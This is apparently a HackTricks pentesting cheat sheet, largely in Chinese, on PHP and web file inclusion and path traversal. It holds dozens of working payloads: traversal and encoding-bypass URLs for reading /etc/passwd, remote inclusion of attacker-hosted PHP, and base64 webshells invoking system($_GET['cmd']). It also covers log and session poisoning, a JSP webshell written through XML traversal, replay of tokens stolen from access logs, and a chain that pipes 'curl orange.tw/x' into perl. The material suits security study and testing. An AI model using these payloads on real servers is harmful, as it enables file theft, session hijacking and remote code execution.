File Inclusion/Path traversal
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
File Inclusion
Remote File Inclusion (RFI): 文件从远程服务器加载(最好情况:你可以写入代码并且服务器会执行它)。在 php 中默认禁用(allow_url_include)。
Local File Inclusion (LFI): 服务器加载本地文件。
当用户以某种方式能够控制将被服务器加载的文件时,就会发生该漏洞。
易受攻击的 PHP functions: require, require_once, include, include_once
用于利用此漏洞的一个有趣工具:https://github.com/kurobeats/fimap
Blind - Interesting - LFI2RCE files
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
混合多个 *nix LFI 列表并添加更多路径,我创建了这个:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
也尝试将 / 改为 \
也尝试添加 ../../../../../
一个使用多种技术来查找文件 /etc/password(用于检查 vulnerability 是否存在)的列表可以在 here
Windows
不同 wordlists 的合并:
也尝试将 / 改为 \
也尝试移除 C:/ 并添加 ../../../../../
一个使用多种技术来查找文件 /boot.ini(用于检查 vulnerability 是否存在)的列表可以在 here
OS X
查看 linux 的 LFI 列表。
基本 LFI 与 绕过
所有示例均针对 Local File Inclusion,但也可应用于 Remote File Inclusion(page=[http://myserver.com/phpshellcode.txt\](http://myserver.com/phpshellcode.txt)//)。
http://example.com/index.php?page=../../../etc/passwd
traversal sequences 非递归地剥离
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass 绕过在提供的字符串末尾追加更多字符的限制 (bypass of: $_GET[‘param’].“php”)
http://example.com/index.php?page=../../../etc/passwd%00
这是 自 PHP 5.4 起已修复
编码
你可以使用非标准的编码方式,比如 double URL encode(以及其他):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
HTML-to-PDF SVG/IMG path traversal
现代 HTML-to-PDF 引擎(例如 TCPDF 或像 html2pdf 这样的封装器)会解析攻击者提供的 HTML、SVG、CSS 和字体 URL,但它们运行在具有文件系统访问权限的受信任后端网络中。一旦你能将 HTML 注入到 $pdf->writeHTML()/Html2Pdf::writeHTML(),你通常可以 exfiltrate web 服务器账号可读取的本地文件。
- Fingerprint the renderer: 每个生成的 PDF 都包含一个
Producer字段(例如TCPDF 6.8.2)。确切的构建版本会告诉你哪些路径过滤器存在,以及是否在验证之前进行 URL 解码。 - Inline SVG payloads:
TCPDF::startSVGElementHandler()在运行urldecode()之前会从<image>元素读取xlink:href属性。将恶意 SVG 嵌入到 data URI 中会让许多 HTML sanitizers 忽略该 payload,而 TCPDF 仍会解析它:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />
TCPDF prepends $_SERVER['DOCUMENT_ROOT'] to paths beginning with / and only later resolves .., so use either leading ../../.. segments or /../../.. to escape the root after the prepend.
- 编码以绕过简单过滤: Versions ≤6.8.2 only check for the literal substring
../before decoding the URL. Sending..%2f(or..%2F) in the SVG or in a raw<img src>attribute bypasses the check, because the traversal dot-dot-slash sequence is recreated only after TCPDF callsurldecode(). - 双重编码以应对多阶段解码: If user input is decoded by the web framework and by TCPDF, double-encode the slash (
%252f). One decode turns it into%2f, the second decode in TCPDF turns it into/, yielding/..%252f..→/../../../…without ever showing../to the early filter. - HTML
<img>处理器:TCPDF::openHTMLTagHandler()contains the same order-of-operations bug, allowing direct HTML payloads such assrc="%2f..%252f..%252ftmp%252fsecret.png"to read any locally reachable bitmap.
This technique leaks anything readable by the PDF worker (passport scans, API keys rendered as images, etc.). Hardeners fixed it in 6.9.1 by canonicalising paths (isRelativePath()), so during tests prioritise older Producer versions.
From existent folder
Maybe the back-end is checking the folder path:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
在服务器上探索文件系统目录
可以通过某些技术递归地探索服务器的文件系统,以识别目录,而不仅仅是文件。该过程涉及确定目录深度并探测特定文件夹的存在。下面是实现该目标的详细方法:
- 确定目录深度: 通过成功获取
/etc/passwd文件 来确定当前目录的深度(适用于服务器为 Linux 的情况)。例如,下面的 URL 可能如下所示,表示深度为 3:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- 探测文件夹: 将疑似文件夹的名称(例如,
private)追加到 URL,然后返回到/etc/passwd。额外的目录层级需要将深度增加一:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- 解释结果: 服务器的响应会指出该文件夹是否存在:
- 错误 / 无输出: 文件夹
private很可能在指定位置不存在。 /etc/passwd的内容: 确认存在private文件夹。
- 递归探索: 发现的文件夹可以使用相同的技术或传统的 Local File Inclusion (LFI) 方法,进一步探测其子目录或文件。
要在文件系统的不同位置探索目录,请相应地调整 payload。 例如,要检查 /var/www/ 是否包含一个 private 目录(假设当前目录深度为 3),请使用:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation 是一种用于操纵 web 应用中文件路径的方法。它经常被用来通过绕过那些在文件路径末尾追加额外字符的安全措施来访问受限文件。目标是构造一个文件路径,使得在被安全措施修改后仍然指向目标文件。
在 PHP 中,文件系统的特性会导致同一文件路径可以有多种等价表示。例如:
/etc/passwd,/etc//passwd,/etc/./passwd, 和/etc/passwd/都被视为相同的路径。- 当最后 6 个字符是
passwd时,追加一个/(变为passwd/)不会改变被访问的文件。 - 同样地,如果在文件路径末尾有
.php(例如shellcode.php),在末尾添加/.也不会改变被访问的文件。
下面的示例演示如何利用 path truncation 访问 /etc/passwd,这是一个常见目标,因为它包含敏感内容(用户帐户信息):
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
在这些场景中,所需的遍历次数可能约为 2027 次,但该数字会根据服务器配置而变化。
- Using Dot Segments and Additional Characters: 可以使用遍历序列(
../)结合额外的点段和字符来遍历文件系统,从而有效地使服务器附加的字符串被忽略。 - Determining the Required Number of Traversals: 通过反复试验,可以找到到达根目录然后到
/etc/passwd所需的精确../序列数量,确保任何附加的字符串(如.php)被中和,同时目标路径(/etc/passwd)保持不变。 - Starting with a Fake Directory: 通常会以一个不存在的目录(例如
a/)开始路径。这种做法用于作为预防措施或满足服务器路径解析逻辑的要求。
当在使用 path truncation techniques 时,了解服务器的路径解析行为和文件系统结构至关重要。每种场景可能需要不同的方法,通常需要通过测试来找到最有效的方式。
此漏洞已在 PHP 5.3 中修复。
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
在 php 中此功能默认被禁用,因为 allow_url_include 是 Off. 它必须为 On 才能生效,在这种情况下你可以从你的服务器包含一个 PHP 文件并获得 RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
如果因为某种原因 allow_url_include 是 On,但 PHP 正在过滤对外部网页的访问, according to this post,你可以例如使用 data 协议配合 base64 解码 b64 PHP 代码以获得 RCE:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
Tip
在前面的代码中,末尾的
+.txt是因为攻击者需要一个以.txt结尾的字符串,所以字符串以它结尾,经过 b64 解码后,这部分会返回垃圾数据,真正的 PHP 代码将被包含(因此被执行)。
另一个不使用 php:// 协议的例子是:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python 根元素
在 python 中,在类似这样的代码中:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
如果用户向 file_name 传递一个 绝对路径,则 之前的路径会被移除:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
根据 the docs:
如果组件是绝对路径,则所有先前的组件都会被丢弃,连接将从该绝对路径组件继续。
Java 列出目录
看起来如果在 Java 中存在 Path Traversal 并且你 请求一个目录 而不是文件,将返回该目录的列表。这在其他语言中不会发生(据我所知)。
Top 25 参数
下面是可能容易受到 local file inclusion (LFI) 漏洞影响的 Top 25 参数列表(来自 link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI 使用 PHP 包装器与协议
php://filter
PHP filters 允许在数据被读取或写入之前执行基本的 对数据的修改操作。过滤器分为 5 类:
- String Filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: 从数据中移除标签(位于 “<” 和 “>” 字符之间的所有内容)- Note that this filter has disappear from the modern versions of PHP
- Conversion Filters
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: 转换为不同的编码(convert.iconv.<input_enc>.<output_enc>)。要获取支持的所有编码列表,请在控制台运行:iconv -l
Warning
滥用
convert.iconv.*转换过滤器可以生成任意文本,这可用于写入任意文本或让像 include 这样的函数处理任意文本。更多信息请参见 LFI2RCE via php filters.
- Compression Filters
zlib.deflate: 压缩内容(如果外泄大量信息时很有用)zlib.inflate: 解压数据- Encryption Filters
mcrypt.*: Deprecatedmdecrypt.*: Deprecated- Other Filters
- 在 php 中运行
var_dump(stream_get_filters());,你可以发现一些 意外的过滤器: consumeddechunk: reverses HTTP chunked encodingconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
Warning
部分 “php://filter” 不区分大小写
Using php filters as oracle to read arbitrary files
In this post 提出了一种在服务器不返回输出的情况下读取本地文件的技术。该技术基于 boolean exfiltration of the file (char by char) using php filters 作为 oracle。原因在于 php filters 可以将文本放大到足以让 php 抛出异常。
在原文中可以找到对该技术的详细解释,这里给出一个快速总结:
- 使用 codec
UCS-4LE将文本的前导字符保留在开头,并使字符串大小呈指数增长。 - 这将用于在初始字母被猜对时生成一个非常大的文本,以致 php 会触发一个 error
- dechunk filter 会在第一个字符不是十六进制时删除所有内容,因此我们可以判断第一个字符是否为十六进制。
- 这一点,结合前面的放大(以及根据猜测字母使用的其他 filters),将允许我们通过观察何时做足够多的转换使其不再是十六进制字符来猜测文本开头的一个字母。因为如果是十六进制,dechunk 不会删除它,而初始的炸弹会导致 php 报错。
- codec convert.iconv.UNICODE.CP930 会将每个字母变为其后继字母(所以经过此 codec:a -> b)。这使我们可以判断第一个字母是否为
a,例如如果我们应用 6 次该 codec:a->b->c->d->e->f->g,该字母就不再是十六进制字符,因此 dechunk 不会删除它,并且由于与初始炸弹相乘会触发 php error。 - 通过在开头使用像 rot13 这样的其他转换,可以 leak 其它字符,比如 n, o, p, q, r(也可以使用其他 codecs 将其他字母移入十六进制范围)。
- 当初始字符是数字时,需要对其进行 base64 encode 并 leak 前两字符以泄露该数字。
- 最终的问题是如何 leak 超过初始字母。通过使用顺序内存 filters 比如 convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE,可以改变字符顺序并将文本的其他字母移到第一位。
- 为了能够获取 更多数据,思路是使用 convert.iconv.UTF16.UTF16 在开头生成 2 字节的 junk data,应用 UCS-4LE 使其与接下来的 2 字节发生 pivot,并 delete the data until the junk data(这会移除初始文本的前 2 字节)。继续这样做直到达到要 leak 的位。
文中还泄露了一个用于自动执行该方法的工具:php_filters_chain_oracle_exploit。
php://fd
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
你也可以使用 php://stdin, php://stdout and php://stderr 来分别访问 file descriptors 0, 1 and 2(不确定这在攻击中会有什么用)
zip:// and rar://
上传一个包含 PHPShell 的 Zip 或 Rar 文件并访问它.\ 为了能够滥用 rar 协议,它 需要被特别激活。
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
注意该协议受 php 配置 allow_url_open 和 allow_url_include 的限制
expect://
Expect 必须被启用。你可以使用它执行代码:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
在 POST 参数中指定你的 payload:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
当 web 应用利用像 include 这样的函数加载文件时,.phar 文件可以被用来执行 PHP 代码。下面的 PHP 代码片段展示了如何创建一个 .phar 文件:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
要编译 .phar 文件,应执行以下命令:
php --define phar.readonly=0 create_path.php
执行后,会创建一个名为 test.phar 的文件,可能会被用来利用 Local File Inclusion (LFI) 漏洞。
如果 LFI 仅执行文件读取而不执行其中的 PHP 代码,例如通过 file_get_contents()、fopen()、file()、file_exists()、md5_file()、filemtime() 或 filesize() 等函数读取,那么可以尝试利用与通过 phar 协议读取文件相关的反序列化漏洞进行攻击。
要详细了解在 .phar 文件上下文中利用反序列化漏洞的方法,请参阅下面的文档:
Phar Deserialization Exploitation Guide
CVE-2024-2961
可以滥用 任何支持 php filters 的 PHP 任意文件读取 来获得 RCE。详细描述可以 found in this post.
非常简短的总结:在 PHP heap 中滥用一个 3 byte overflow,用以 更改某一特定大小的 free chunks 链,从而能够 在任意地址写入任意内容,因此添加了一个钩子来调用 system。
还可以通过利用更多 php filters 来 alloc 特定大小的 chunks。
More protocols
查看更多可能的 protocols to include here:
- php://memory and php://temp — 在内存或临时文件中写入(不确定这在 file inclusion attack 中如何有用)
- file:// — 访问本地文件系统
- http:// — 访问 HTTP(s) URL
- ftp:// — 访问 FTP(s) URL
- zlib:// — 压缩流
- glob:// — 查找匹配模式的路径名(它不会返回任何可打印内容,所以这里并不太有用)
- ssh2:// — Secure Shell 2
- ogg:// — 音频流(不适合读取任意文件)
LFI via PHP’s ‘assert’
当处理 ‘assert’ 函数时,PHP 中的 Local File Inclusion (LFI) 风险尤其高,因为它可以执行字符串中的代码。如果只检查但未正确净化包含像 “..” 之类目录遍历字符的输入,情况尤其危险。
例如,PHP 代码可能会像下面这样设计以防止目录遍历:
assert("strpos('$file', '..') === false") or die("");
虽然这旨在阻止遍历,但它无意中为代码注入创造了一个向量。为了利用这一点来读取文件内容,攻击者可以使用:
' and die(highlight_file('/etc/passwd')) or '
类似地,为执行任意系统命令,可以使用:
' and die(system("id")) or '
It’s important to URL-encode these payloads.
PHP Blind Path Traversal
Warning
当你能control一个会access a file的PHP function的file path,但你看不到该文件的内容(例如简单调用
file()时内容不被显示),此技术相关。
在 this incredible post 中解释了如何通过 PHP filter 滥用 blind path traversal 来 exfiltrate the content of a file via an error oracle。
总结而言,该技术使用 “UCS-4LE” encoding 将文件内容变得非常 big,以至于打开该文件的 PHP function opening 会触发一个 error。
然后,为了 leak 第一个 char,使用了 filter dechunk 以及 base64 或 rot13 等,最后使用 filters convert.iconv.UCS-4.UCS-4LE 和 convert.iconv.UTF16.UTF-16BE 来 place other chars at the beggining and leak them。
Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
For the technical details check the mentioned post!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
当服务端代码在处理/上传文件时使用用户可控的数据(例如 filename 或 URL)来构建目标路径,且没有进行规范化和验证,.. 段和绝对路径可能会逃离预期目录并导致任意文件写入。如果你能把 payload 放到 web-exposed 目录下,通常通过 dropping 一个 webshell 即可获得未认证的 RCE。
典型利用流程:
- 识别在某个 endpoint 或后台 worker 中接受 path/filename 并将内容写入磁盘的写入原语(例如消息驱动的 ingestion、XML/JSON 命令处理器、ZIP 解压器等)。
- 确定 web-exposed 目录。常见示例:
- Apache/PHP:
/var/www/html/ - Tomcat/Jetty:
<tomcat>/webapps/ROOT/→ dropshell.jsp - IIS:
C:\inetpub\wwwroot\→ dropshell.aspx
- Apache/PHP:
- 构造 traversal path,使其从预期存储目录突破到 webroot,并包含你的 webshell 内容。
- 访问被 drop 的 payload 并执行命令。
注意:
- 执行写入的易受影响服务可能监听非 HTTP 端口(例如,在 TCP 4004 上的 JMF XML listener)。主 web 门户(不同端口)随后会对外提供你的 payload。
- 在 Java 技术栈中,这些文件写入通常通过简单的
File/Paths拼接实现。缺乏规范化/白名单是核心缺陷。
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
缓解此类漏洞的加固措施:
- 解析为规范路径并强制其为 allow-listed 基目录的子路径。
- 拒绝任何包含
..、绝对根路径或驱动器字母的路径;优先使用自动生成的文件名。 - 以低权限账户运行写入程序,并将写入目录与被服务的根目录隔离。
Remote File Inclusion
之前已解释, follow this link.
通过 Apache/Nginx 日志文件
如果 Apache 或 Nginx 服务器在 include 函数中易受 LFI 攻击,你可以尝试访问 /var/log/apache2/access.log or /var/log/nginx/access.log,将一个 php shell(例如 <?php system($_GET['c']); ?>)放入 user agent 或 GET parameter 中,然后包含该文件
Warning
注意:如果你为 shell 使用双引号而不是单引号,双引号将被修改为字符串 “quote;”,PHP 会在此处抛出错误,不会执行任何其他内容。
此外,请确保你正确编写 payload,否则每次尝试加载日志文件时 PHP 都会出错,而你将不会有第二次机会。
这也可以在其他日志中完成,但**要小心,**日志中的代码可能是 URL 编码的,这可能会破坏 Shell。头部 authorisation “basic” 在 Base64 中包含 “user:password”,并在日志中被解码。PHPShell 可以插入到该头部中。
其他可能的日志路径:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
读取访问日志以收集基于 GET 的 auth tokens (token replay)
许多应用错误地通过 GET 接受 session/auth tokens(例如 AuthenticationToken、token、sid)。如果你有一个 path traversal/LFI 原语可以读取 web server 日志,你可以从访问日志中窃取这些 tokens 并重放它们,从而完全绕过认证。
How-to:
- 使用 traversal/LFI 读取 web server 的 access log。常见位置:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- 有些 endpoints 会以 Base64 编码返回文件读取内容。如果是这样,先在本地解码并检查日志行。
- 使用 grep 查找包含 token 参数 的 GET 请求并捕获其值,然后将其重放到 application entry point。
Example flow (generic):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
如果请求体是 Base64,就先解码,然后重放捕获到的 token:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
注意:
- Tokens in URLs are logged by default; never accept bearer tokens via GET in production systems.
- 如果应用支持多个 token 名称,搜索常见键,例如 AuthenticationToken, token, sid, access_token。
- 对任何可能已 leaked 到日志的 tokens 进行 Rotate。
通过 Email
向一个内部账户发送邮件 (user@localhost),邮件包含你的 PHP payload,比如 <?php echo system($_REQUEST["cmd"]); ?>,并尝试包含用户的邮件,路径类似 /var/mail/<USERNAME> 或 /var/spool/mail/<USERNAME>
通过 /proc/*/fd/*
- 上传大量 shells(例如:100)
- 包含 http://example.com/index.php?page=/proc/$PID/fd/$FD,其中 $PID = 进程的 PID(可以通过暴力猜测),$FD 是文件描述符(也可以通过暴力猜测)
通过 /proc/self/environ
类似日志文件,将 payload 放在 User-Agent 中发送,它会在 /proc/self/environ 文件中被反射。
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
通过上传
如果你可以上传文件,只需在其中注入 shell payload(例如:<?php system($_GET['c']); ?>)。
http://example.com/index.php?page=path/to/uploaded/file.png
为了保持文件可读,最好将其注入到 pictures/doc/pdf 的元数据中
通过 Zip 文件上传
上传一个包含压缩的 PHP shell 的 ZIP 文件并访问:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
通过 PHP sessions
检查网站是否使用 PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
在 PHP 中,这些 sessions 存储在 /var/lib/php5/sess\[PHPSESSID]_ files
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
将 cookie 设置为 <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
使用 LFI 包含 PHP 会话文件
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
通过 ssh
如果 ssh 已启用,检查正在使用哪个用户 (/proc/self/status & /etc/passwd) 并尝试访问 <HOME>/.ssh/id_rsa
通过 vsftpd logs
FTP 服务器 vsftpd 的日志位于 /var/log/vsftpd.log。如果存在 Local File Inclusion (LFI) 漏洞,且可以访问暴露的 vsftpd 服务器,则可以考虑以下步骤:
- 在登录过程中将 PHP payload 注入到用户名字段。
- 注入后,利用 LFI 从 /var/log/vsftpd.log 检索服务器日志。
通过 php base64 filter (using base64)
如 this 文章所示,PHP base64 filter 会忽略非 base64 字符。你可以利用它绕过文件扩展名检查:如果你提供以 “.php” 结尾的 base64,它会忽略 “.” 并将 “php” 附加到 base64。示例 payload 如下:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via php filters (no file needed)
This writeup 解释了你可以使用 php filters 来生成任意内容 作为输出。这基本上意味着你可以为 include 生成任意 php 代码,且无需将其写入文件。
Via segmentation fault
上传一个文件,该文件将作为临时文件存储在 /tmp,然后在同一请求中触发一个segmentation fault,这样临时文件不会被删除,你就可以去查找它。
LFI2RCE via Segmentation Fault
Via Nginx temp file storage
如果你发现了一个 Local File Inclusion 并且 Nginx 在 PHP 之前运行,你可能能够通过以下技术获得 RCE:
Via PHP_SESSION_UPLOAD_PROGRESS
如果你发现了 Local File Inclusion 即使你没有 session 且 session.auto_start 为 Off。如果你在 multipart POST 数据中提供 PHP_SESSION_UPLOAD_PROGRESS,PHP 会为你启用 session。你可以滥用这一点来获得 RCE:
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
Via temp file uploads in Windows
如果你发现了 Local File Inclusion 且服务器运行在 Windows,你可能会获得 RCE:
Via pearcmd.php + URL args
As explained in this post,脚本 /usr/local/lib/phppearcmd.php 在 php docker 镜像中默认存在。此外,可以通过 URL 向该脚本传递参数,因为指出如果 URL 参数没有 =,它应该被用作一个参数。另见 watchTowr’s write-up 和 Orange Tsai’s “Confusion Attacks”。
下面的请求会在 /tmp/hello.php 创建一个文件,内容为 <?=phpinfo()?>:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
下面滥用 CRLF vuln 来获取 RCE(来自 here):
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
通过 phpinfo() (file_uploads = on)
如果你发现了 Local File Inclusion 并且有个文件暴露了 phpinfo() 且 file_uploads = on,你可以得到 RCE:
通过 compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
如果你发现了 Local File Inclusion 并且你 can exfiltrate the path of the temp file,但 server 正在 checking 被包含的文件是否有 PHP 标记,你可以尝试用这个 Race Condition 来 bypass that check:
LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
通过 eternal waiting + bruteforce
如果你能滥用 LFI 来 upload temporary files 并让 server hang PHP 执行,你就可以接着 brute force filenames during hours 去寻找该临时文件:
导致 Fatal Error
如果你包含任何文件 /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar。(你需要包含同一个文件 2 次来触发该错误)。
我不知道这有多大用处,但可能有用。
即使你导致 PHP Fatal Error,PHP 上传的临时文件也会被删除。
.png)
保留来自客户端的 traversal sequences
某些 HTTP 客户端会在请求到达服务器之前规范化或折叠 ../,从而破坏 directory traversal payloads。对滥用 log/download endpoints(将用户可控的文件名拼接进去)的场景,使用 curl --path-as-is 可以让 traversal 保持不变,并且对于像 /proc 这样的 pseudo-files,添加 --ignore-content-length。
curl --path-as-is -b "session=$SESSION" \
"http://TARGET/admin/get_system_log?log_identifier=../../../../proc/self/environ" \
--ignore-content-length -s | tr '\000' '\n'
调整 ../ 段的数量,直到你跳出目标目录,然后导出 /etc/passwd、/proc/self/cwd/app.py 或其他源代码/配置文件。
参考资料
- PayloadsAllTheThings
- PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
- Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)
